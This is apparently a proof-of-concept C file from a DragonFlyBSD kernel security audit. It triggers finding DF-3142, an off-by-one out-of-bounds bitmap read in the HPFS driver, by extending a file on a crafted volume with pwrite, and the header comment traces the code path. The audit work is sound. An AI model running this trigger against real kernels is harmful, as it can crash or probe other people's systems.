⬢ DragonFlyBSD Kernel Audit
DF-3142 / poc.c
← back to finding ↓ download raw
/*
 * DF-3142 -- extend the file whose single leaf is {al_off:0, al_len:2,
 * al_lsn:0x3FFE} on a volume with su_btotal = 0x4000 (exact band
 * multiple).  pwrite at offset 1024 -> hpfs_write -> hpfs_extend ->
 * hpfs_addextent append branch (hpfs_alsubr.c:427-436) ->
 * hpfs_bmlookup(hpmp, 0, alp->al_lsn + alp->al_len = 0x4000 ==
 * su_btotal, ...) -> off-by-one `lsn > su_btotal` check passes ->
 * probe reads hpm_bitmap[512] -- one word past the 2048-byte kmalloc.
 *
 * We _exit() without close() (the close-path fnode writeback is
 * DF-3141's separate bug; the probe happens during pwrite).
 */
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *mp = argc > 1 ? argv[1] : "/tmp/hpfsmp";
	char path[512], buf[512];
	int fd, r;

	snprintf(path, sizeof(path), "%s/FILE", mp);
	fd = open(path, O_RDWR);
	if (fd < 0) { perror("open FILE"); return 1; }
	printf("open FILE ok (fnode LSN 0x48, leaf {0,2,0x3FFE})\n");

	memset(buf, 0x41, sizeof(buf));
	r = (int)pwrite(fd, buf, 512, 1024);   /* extend 1024 -> 1536 */
	printf("pwrite extend = %d\n", r);
	fflush(stdout);

	printf("done -- check console/dmesg for the DF3142 OOB PROBE line\n");
	fflush(stdout);
	_exit(r == 512 ? 0 : 1);               /* deliberately no close() */
}